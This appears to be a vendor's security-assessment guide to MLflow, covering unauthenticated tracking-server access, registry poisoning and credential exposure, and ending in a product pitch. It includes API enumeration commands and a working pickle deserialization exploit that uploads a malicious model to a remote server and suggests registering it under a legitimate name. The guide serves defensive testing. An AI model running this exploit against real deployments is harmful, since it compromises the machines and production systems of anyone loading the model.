MLflow is the dominant open-source platform for ML experiment tracking, model registry, and deployment. Its security surface spans the entire ML lifecycle: the MLflow tracking server on port 5000 has no authentication by default, allowing any user to read all experiments, register models, and promote versions to production; MLflow's primary model serialization format uses Python pickle, which executes arbitrary code on deserialization — a malicious model in the registry can achieve RCE on any system that calls mlflow.pyfunc.load_model(); artifact store credentials (S3 access keys, Azure SAS tokens) are embedded in run metadata accessible via the MLflow REST API; MLflow Models can specify custom Python environments that install arbitrary packages on the inference server; and MLflow's model staging workflow (Staging → Production transitions) has no approval gate on self-hosted deployments. This guide covers systematic MLflow security assessment.
# MLflow default ports: 5000 (tracking server), 1234 (model server)
# MLflow REST API at /api/2.0/mlflow/
# Check MLflow tracking server access (no auth by default)
curl -s http://mlflow.example.com:5000/api/2.0/mlflow/experiments/list 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
exps = data.get('experiments', [])
print(f'Experiments: {len(exps)}')
for e in exps[:10]:
print(f\" [{e.get('experiment_id','?')}] {e.get('name','?')} artifact_loc={e.get('artifact_location','?')[:60]}\")
" 2>/dev/null
# List all registered models in the registry
curl -s "http://mlflow.example.com:5000/api/2.0/mlflow/registered-models/list" 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
models = data.get('registered_models', [])
print(f'Registered models: {len(models)}')
for m in models:
print(f\" {m.get('name','?')} latest_versions={[v.get('version') for v in m.get('latest_versions',[])]}\")
" 2>/dev/null
# MLflow's default sklearn/pyfunc serialization uses Python pickle
# A malicious model logged to MLflow executes code when loaded via load_model()
# Create a malicious pickle payload disguised as an MLflow model
python3 - << 'PYEOF'
import pickle, os, mlflow, mlflow.pyfunc
# Malicious class that executes code on unpickling
class MaliciousModel:
def __reduce__(self):
return (os.system, ("id > /tmp/mlflow_rce_proof.txt",))
# Serialize the malicious payload
import pickle
with open('/tmp/malicious_model.pkl', 'wb') as f:
pickle.dump(MaliciousModel(), f)
# Option 1: Log malicious artifact directly to an accessible experiment
mlflow.set_tracking_uri("http://mlflow.example.com:5000")
with mlflow.start_run(experiment_id="0") as run:
mlflow.log_artifact('/tmp/malicious_model.pkl', artifact_path='model')
run_id = run.info.run_id
print(f"Logged to run: {run_id}")
# Option 2: Register as a model version that appears legitimate
# mlflow.register_model(f"runs:/{run_id}/model", "fraud-detection-model")
# When a data scientist loads this model: mlflow.pyfunc.load_model(...) -> RCE
PYEOF
--auth flag (MLflow 2.5+) or an OAuth2 proxy to require login before accessing experiments or the registry| Security Test | Method | Risk |
|---|---|---|
| Unauthenticated tracking server access | GET /api/2.0/mlflow/experiments/list — lists all experiments, runs, and artifact locations | High |
| Pickle model deserialization RCE | Log malicious pickle model → promote to Production → victim calls load_model → RCE | Critical |
| Model registry poisoning | Register malicious model as legitimate name — production inference servers load it | Critical |
| Artifact store credentials in run metadata | GET /api/2.0/mlflow/runs/get — artifact_uri may contain signed S3 URLs or access keys | High |
| Unauthenticated model promotion to production | POST /api/2.0/mlflow/model-versions/transition-stage — no approval required | High |
| Custom conda environment installs malicious packages | Log model with conda.yaml specifying attacker-controlled package — executed on inference server startup | High |
Ironimo tests MLflow deployments for unauthenticated tracking server access exposing all experiments and model versions, pickle model deserialization RCE via malicious model artifacts in the registry, model registry poisoning by replacing legitimate model versions with malicious ones, artifact store credential exposure in run metadata, unauthenticated model version promotion to production stage, and custom conda environment specification installing attacker-controlled packages on inference servers.
Start free scan